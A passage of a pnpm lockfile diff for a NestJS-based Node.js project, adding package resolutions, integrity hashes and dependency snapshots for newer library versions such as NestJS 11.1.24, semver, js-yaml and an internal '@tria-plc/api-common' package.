sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==} engines: {node: '>= 0.4'} @@ -3071,6 +3297,10 @@ packages: resolution: {integrity: sha512-aNnGCvbJ/RIyWo1IuhNdVjnNF+EjH9wpzpNHt+ci/m9He9LJvUN8wrCcXjp9cWsGNAuvSpVFTx/vraAFQ8qGjQ==} engines: {node: '>=10.13.0'} + enhanced-resolve@5.22.2: + resolution: {integrity: sha512-0rxICaFZ7NQho/sHely2bvOPRP0Eu2B0NZ9zM54YvRvWMn7jfz3DmnOZDR9LlXDdDcqntAVc6Hfy4gr/tdH/Ag==} + engines: {node: '>=10.13.0'} + ent@2.2.2: resolution: {integrity: sha512-kKvD1tO6BM+oK9HzCPpUdRb4vKFQY/FPTFmurMvh6LlN68VMrdj77w8yp51/kDbpkFOS9J8w5W6zIzgM2H8/hw==} engines: {node: '>= 0.4'} @@ -4305,6 +4535,10 @@ packages: resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} hasBin: true + js-yaml@4.2.0: + resolution: {integrity: sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw==} + hasBin: true + jsesc@3.1.0: resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} engines: {node: '>=6'} @@ -4426,6 +4660,9 @@ packages: libphonenumber-js@1.13.3: resolution: {integrity: sha512-xMkdAMqcyG7iN2WZZmGIfWbYxW4orRkny+0/AXIbwL0xll2zkDX0Vzo/BXFa6+7mh2UvJl9MbcTtHk0YXkFtBA==} + libphonenumber-js@1.13.5: + resolution: {integrity: sha512-7/kRezHmQlMfO6pmvt34orO/g3j1C47k8FCBXFgj/mklTLwQdBca1LkhDK6RM8UyM6JqHFAIikMdkKkyfQy39A==} + libreoffice-convert@1.8.1: resolution: {integrity: sha512-iZ1DD/EMTlPvol8G++QQ/0w4pVecSwRuhMLXRm7nRim/gcaSscSXuTO9Tgbkieyw5UdJg7UXD+lkFT8SCi51Dw==} engines: {node: '>=6'} @@ -5593,6 +5830,11 @@ packages: engines: {node: '>=10'} hasBin: true + semver@7.8.2: + resolution: {integrity: sha512-c8jsqUZm3omBOI66G90z1Dyw5z622G8oLG+omfsHBJf3CWQTlOcwOjvOG6wtiNfW6anKm/eA39LMwMtMez2TiQ==} + engines: {node: '>=10'} + hasBin: true + send@1.2.1: resolution: {integrity: sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==} engines: {node: '>= 18'} @@ -5730,6 +5972,10 @@ packages: resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} engines: {node: '>= 8'} + source-map@0.7.6: + resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==} + engines: {node: '>= 12'} + split-on-first@1.1.0: resolution: {integrity: sha512-43ZssAJaMusuKWL8sKUBQXHWOpq8d6CfN/u1p4gUzfJkM05C8rxTmYrkIPTXapZpORA6LkkzcUulJ8FqA7Uudw==} engines: {node: '>=6'} @@ -6123,6 +6369,17 @@ packages: jest-util: optional: true + ts-loader@9.6.0: + resolution: {integrity: sha512-dsJO0S+T7grTDWTc4a0nTygXGjKncVUpx8Y+af8EvI/D5WgTJby5UEk5eoMCB9EcLQmnvitqh99MqtjtHgAwFQ==} + engines: {node: '>=12.0.0'} + peerDependencies: + loader-utils: '*' + typescript: '*' + webpack: ^4.0.0 || ^5.0.0 + peerDependenciesMeta: + loader-utils: + optional: true + ts-node@10.9.2: resolution: {integrity: sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==} hasBin: true @@ -6294,8 +6551,8 @@ packages: undici-types@6.21.0: resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} - undici-types@7.16.0: - resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==} + undici-types@7.24.6: + resolution: {integrity: sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==} unicorn-magic@0.1.0: resolution: {integrity: sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==} @@ -6835,11 +7092,11 @@ snapshots: '@colors/colors@1.5.0': optional: true - '@commitlint/cli@19.8.1(@types/node@24.12.4)(typescript@5.9.3)': + '@commitlint/cli@19.8.1(@types/node@25.9.1)(typescript@5.9.3)': dependencies: '@commitlint/format': 19.8.1 '@commitlint/lint': 19.8.1 - '@commitlint/load': 19.8.1(@types/node@24.12.4)(typescript@5.9.3) + '@commitlint/load': 19.8.1(@types/node@25.9.1)(typescript@5.9.3) '@commitlint/read': 19.8.1 '@commitlint/types': 19.8.1 tinyexec: 1.1.2 @@ -6886,7 +7143,7 @@ snapshots: '@commitlint/rules': 19.8.1 '@commitlint/types': 19.8.1 - '@commitlint/load@19.8.1(@types/node@24.12.4)(typescript@5.9.3)': + '@commitlint/load@19.8.1(@types/node@25.9.1)(typescript@5.9.3)': dependencies: '@commitlint/config-validator': 19.8.1 '@commitlint/execute-rule': 19.8.1 @@ -6894,7 +7151,7 @@ snapshots: '@commitlint/types': 19.8.1 chalk: 5.6.2 cosmiconfig: 9.0.1(typescript@5.9.3) - cosmiconfig-typescript-loader: 6.3.0(@types/node@24.12.4)(cosmiconfig@9.0.1(typescript@5.9.3))(typescript@5.9.3) + cosmiconfig-typescript-loader: 6.3.0(@types/node@25.9.1)(cosmiconfig@9.0.1(typescript@5.9.3))(typescript@5.9.3) lodash.isplainobject: 4.0.6 lodash.merge: 4.6.2 lodash.uniq: 4.5.0 @@ -7394,6 +7651,8 @@ snapshots: '@microsoft/tsdoc@0.15.1': {} + '@microsoft/tsdoc@0.16.0': {} + '@napi-rs/wasm-runtime@1.1.4(@emnapi/core@1.10.0)(@emnapi/runtime@1.10.0)': dependencies: '@emnapi/core': 1.10.0 @@ -7407,6 +7666,12 @@ snapshots: axios: 1.16.1 rxjs: 7.8.2 + '@nestjs/axios@4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + axios: 1.17.0 + rxjs: 7.8.2 + '@nestjs/cli@11.0.21(@types/node@20.19.41)(prettier@3.8.3)': dependencies: '@angular-devkit/core': 19.2.24(chokidar@4.0.3) @@ -7458,6 +7723,21 @@ snapshots: transitivePeerDependencies: - supports-color + '@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)': + dependencies: + file-type: 21.3.4 + iterare: 1.2.1 + load-esm: 1.0.3 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + tslib: 2.8.1 + uid: 2.0.2 + optionalDependencies: + class-transformer: 0.5.1 + class-validator: 0.14.4 + transitivePeerDependencies: + - supports-color + '@nestjs/config@4.0.4(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(rxjs@7.8.2)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7466,6 +7746,14 @@ snapshots: lodash: 4.18.1 rxjs: 7.8.2 + '@nestjs/config@4.0.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + dotenv: 17.4.1 + dotenv-expand: 12.0.3 + lodash: 4.18.1 + rxjs: 7.8.2 + '@nestjs/core@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7481,6 +7769,36 @@ snapshots: '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/platform-express': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) + '@nestjs/core@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nuxt/opencollective': 0.4.1 + fast-safe-stringify: 2.1.1 + iterare: 1.2.1 + path-to-regexp: 8.4.2 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + tslib: 2.8.1 + uid: 2.0.2 + optionalDependencies: + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/platform-express': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) + + '@nestjs/core@11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nuxt/opencollective': 0.4.1 + fast-safe-stringify: 2.1.1 + iterare: 1.2.1 + path-to-regexp: 8.4.2 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + tslib: 2.8.1 + uid: 2.0.2 + optionalDependencies: + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/platform-express': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + '@nestjs/event-emitter@2.1.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7493,6 +7811,12 @@ snapshots: '@types/jsonwebtoken': 9.0.5 jsonwebtoken: 9.0.2 + '@nestjs/jwt@10.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@types/jsonwebtoken': 9.0.5 + jsonwebtoken: 9.0.2 + '@nestjs/mapped-types@2.0.5(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7501,6 +7825,14 @@ snapshots: class-transformer: 0.5.1 class-validator: 0.14.4 + '@nestjs/mapped-types@2.1.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + reflect-metadata: 0.2.2 + optionalDependencies: + class-transformer: 0.5.1 + class-validator: 0.14.4 + '@nestjs/microservices@11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7513,11 +7845,28 @@ snapshots: amqp-connection-manager: 5.0.0(amqplib@2.0.1) amqplib: 2.0.1 + '@nestjs/microservices@11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + iterare: 1.2.1 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + tslib: 2.8.1 + optionalDependencies: + amqp-connection-manager: 5.0.0(amqplib@2.0.1) + amqplib: 2.0.1 + '@nestjs/passport@10.0.3(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) passport: 0.7.0 + '@nestjs/passport@10.0.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + passport: 0.7.0 + '@nestjs/platform-express@11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7530,6 +7879,31 @@ snapshots: transitivePeerDependencies: - supports-color + '@nestjs/platform-express@11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': + dependencies: + '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + cors: 2.8.6 + express: 5.2.1 + multer: 2.1.1 + path-to-regexp: 8.4.2 + tslib: 2.8.1 + transitivePeerDependencies: + - supports-color + optional: true + + '@nestjs/platform-express@11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + cors: 2.8.6 + express: 5.2.1 + multer: 2.1.1 + path-to-regexp: 8.4.2 + tslib: 2.8.1 + transitivePeerDependencies: + - supports-color + '@nestjs/schedule@6.1.3(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7549,6 +7923,21 @@ snapshots: transitivePeerDependencies: - chokidar + '@nestjs/swagger@11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)': + dependencies: + '@microsoft/tsdoc': 0.16.0 + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/mapped-types': 2.1.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + js-yaml: 4.1.1 + lodash: 4.18.1 + path-to-regexp: 8.4.2 + reflect-metadata: 0.2.2 + swagger-ui-dist: 5.32.6 + optionalDependencies: + class-transformer: 0.5.1 + class-validator: 0.14.4 + '@nestjs/swagger@7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)': dependencies: '@microsoft/tsdoc': 0.15.1 @@ -7573,12 +7962,27 @@ snapshots: '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/platform-express': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) + '@nestjs/testing@11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + tslib: 2.8.1 + optionalDependencies: + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/platform-express': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + '@nestjs/throttler@6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/core': 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) reflect-metadata: 0.2.2 + '@nestjs/throttler@6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + reflect-metadata: 0.2.2 + '@nestjs/typeorm@11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)))': dependencies: '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7587,6 +7991,14 @@ snapshots: rxjs: 7.8.2 typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + '@nestjs/typeorm@11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)))': + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + '@next/env@14.2.35': {} '@next/eslint-plugin-next@14.2.35': @@ -7747,7 +8159,51 @@ snapshots: '@tokenizer/token@0.3.0': {} - '@tria-plc/api-common@1.2.3(82de1fa22df14d2f8c974e73e7d5a000)': + '@tria-plc/api-common@0.1.4(117ec8ab2e46133742e6b9e4ae304059)': + dependencies: + '@nestjs/axios': 4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/passport': 10.0.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0) + '@nestjs/swagger': 11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2) + '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + '@tria-plc/iamapi-common': 0.1.6(d02ea0b424ed983863ad8209ac09ab52) + argon2: 0.43.1 + axios: 1.17.0 + change-case: 5.4.4 + class-transformer: 0.5.1 + class-validator: 0.14.4 + dotenv: 16.6.1 + ethiopian-calendar-date-converter: 2.1.6 + ethiopian-date: 0.0.6 + exceljs: 4.4.0 + file-type: 21.3.4 + handlebars: 4.7.9 + handlebars-helpers: 0.10.0 + jmespath: 0.16.0 + jose: 5.10.0 + jsonwebtoken: 9.0.3 + libphonenumber-js: 1.13.5 + libreoffice-convert: 1.8.1 + nestjs-minio-client: 2.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + passport-jwt: 4.0.1 + qrcode: 1.5.4 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + style-object-to-css-string: 1.1.3 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + typeorm-extension: 3.9.0(@faker-js/faker@10.4.0)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + uuid: 11.1.1 + xlsx: 0.18.5 + transitivePeerDependencies: + - '@faker-js/faker' + - debug + - supports-color + + '@tria-plc/api-common@1.2.3(38550619d911b1103993bd09ae683e00)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7758,7 +8214,7 @@ snapshots: 